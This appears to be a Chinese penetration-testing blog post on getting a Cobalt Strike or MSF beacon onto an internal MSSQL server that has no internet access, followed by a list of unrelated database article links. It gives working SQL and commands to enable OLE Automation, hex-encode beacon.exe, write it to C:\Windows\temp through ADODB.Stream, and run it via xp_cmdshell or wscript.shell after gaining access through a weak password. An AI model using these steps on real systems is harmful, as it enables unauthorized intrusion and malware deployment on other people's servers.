MSSQL不出网文件落地上线方式

简介: MSSQL不出网文件落地上线方式

0x01 前言

一个MSSQL非注入的场景:在内网扫描到一个MSSQL弱口令,支持xp_cmdshell,Administrator权限,但不能出网,DNS也出不了,那么我们该如何将文件落地到目标主机并执行上线呢?


0x02 利用思路

我们可以通过当前这台能出网的主机开启一个Socks代理连接不出网主机的MSSQL,然后再利用以下方式将PE文件落地到不出网的MSSQL主机,最终通过出网主机来中转上线不出网主机。


0x03 启用OLE组件

在执行命令或写入文件时都需要用到sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用“OLE Automation Procedures”组件。

    exec master.dbo.sp_configure 'show advanced options', 1
    RECONFIGURE
    exec master.dbo.sp_configure 'Ole Automation Procedures', 1
    RECONFIGURE


    0x04 EXE转换HEX

    使用以下方式将生成的CS/MSF攻击载荷文件转换为HEX编码,这里我找了几个可以转换HEX编码的方法,Linux的xxd命令,python脚本,或者010editor编辑器,根据个人习惯选择吧。


    (1) Linux exe -> hex

      xxd -ps beacon.exe hex.txt


      (2) python exe -> hex

        import binascii
        filename = 'beacon.exe'
        with open(filename, 'rb') as f:
            content = f.read()
        print(binascii.hexlify(content))


        (3) 010editor exe -> hex

        利用这种方式拷贝下来的HEX也能使用certutil.exe -decodehex正常解码,但如果要用OLE组件写入时就还需要做下处理,将空格、换行都删掉,全部放在一行即可。


        0x05 EXE文件落地

        将我们上边转换好的HEX编码放在第一行,加上0x,然后在本地的Navicat Premium数据库管理工具中执行即可,这时可以看到cs.exe文件已经成功落地到目标主机的磁盘。


        注:xp_cmdshell组件调用的是cmd.exe,所以在利用这种方式写入大文件时可能会出现字符长度限制等问题。

          DECLARE @DATA VARBINARY(MAX) = 0x-hex
                  DECLARE @filepath VARCHAR(MAX) = 'C:\\Windows\\temp\\cs.exe'
                  DECLARE @ObjectToken INT
                  EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
                  EXEC sp_OASetProperty @ObjectToken, 'Type', 1
                  EXEC sp_OAMethod @ObjectToken, 'Open'
                  EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA
                  EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2
                  EXEC sp_OAMethod @ObjectToken, 'Close'
                  EXEC sp_OADestroy @ObjectToken
                  SELECT @filepath


          0x06 执行EXE上线

          这时再利用xp_cmdshell、sp_oacreate等方式去执行刚落地的cs.exe即可上线。这里我只是根据这种场景进行了简单的模拟测试,不出网主机上线方式可参考我之前分享的。

          利用MSF上线断网主机的思路分享利用goproxy http上线不出网主机利用Pystinger Socks4上线不出网主机


          xp_cmdshell:

            exec master..xp_cmdshell "cmd /c C:\\Windows\\temp\\cs.exe"

            sp_oacreate:

              declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c C:\\Windows\\temp\\cs.exe'

              相关文章
              |
              7月前
              |
              人工智能 API Docker
              入门篇:如何快速升级和迁移Confluence
              入门篇:如何快速升级和迁移Confluence
              |
              7月前
              |
              关系型数据库 Linux 分布式数据库
              源码编译实现PolarDB-X部署安装的体验报告
              本文档记录了编译安装PolarDB-X的步骤,包括设置CentOS开发环境、从GitHub获取源码、编译(耗时较长)、解决依赖和权限问题、安装部署及测试验证。作者建议优化文档细节、减少编译时间、改进错误提示,并提议提供一键安装依赖脚本、新手视频教程及加强社区支持。整个过程虽有挑战,但具有成就感。
              168 0
              |
              7月前
              |
              人工智能 API Docker
              入门篇: 快速升级或迁移您的Confluence知识库
              入门篇: 快速升级或迁移您的Confluence知识库
              |
              7月前
              |
              安全 关系型数据库 分布式数据库
              PolarDB-PG 安全体系全解,如何给客户7*24的放心
              随着企业业务全面向数字化、在线化、智能化演进,企业面临着呈指数级递增的海量存储需求和挑战,传统的商业数据库已经难以满足和响应快速变化持续增长的业务诉求。云数据库凭借着成本、性能、业务连续性以及在线业务扩展等优势成为企业更优的选择。随着企业数据逐步上云,云数据库安全变得至关重要。云数据库安全不仅可以防止未授权访问和数据泄露问题,保护数据的机密性和完整性,还可以保护企业的声誉和客户信任,保障企业遵守法律法规的要求。只有通过确保云数据库的安全性,企业才能够在数字化时代中安心地利用云服务。
              |
              Cloud Native 关系型数据库 分布式数据库
              客户说|PolarDB最佳实践:工期缩短2/3,揭秘极氪APP分布式改造效率神器
              极氪APP引入阿里云PolarDB,21天完成数据库分布式改造
              |
              SQL 算法 关系型数据库
              OceanBase社区版4.0正式上线,与企业版同等性能,一键安装两分钟跑通Demo
              OceanBase社区版4.0正式上线,与企业版同等性能,一键安装两分钟跑通Demo
              293 0
              |
              NoSQL MongoDB 数据库
              【活动】阿里云MongoDB 6.0版本正式上线!产品专家带你一览新功能!
              正如阿里云发布MongoDB 5.0时承诺的更快发布频率,年度大版本阿里云版MongoDB 6.0 也于2022年正式跟广大数据库爱好者们见面了。
              1344 0
              【活动】阿里云MongoDB 6.0版本正式上线!产品专家带你一览新功能!
              |
              数据库 关系型数据库 Oracle
              最佳实践 | 数据库迁云解决方案选型 & 流程全解析
              Oracle数据库异构上云的最佳实践
              11999 0
              一图看懂文件迁移方案-今日头条文件EA团队迁移
              一图看懂文件迁移方案-今日头条文件EA团队迁移
              129 0
              一图看懂文件迁移方案-今日头条文件EA团队迁移
              |
              存储 SQL 缓存
              我是如何一步步让公司的MySQL支撑亿级流量的(上)
              我是如何一步步让公司的MySQL支撑亿级流量的
              234 0
              我是如何一步步让公司的MySQL支撑亿级流量的(上)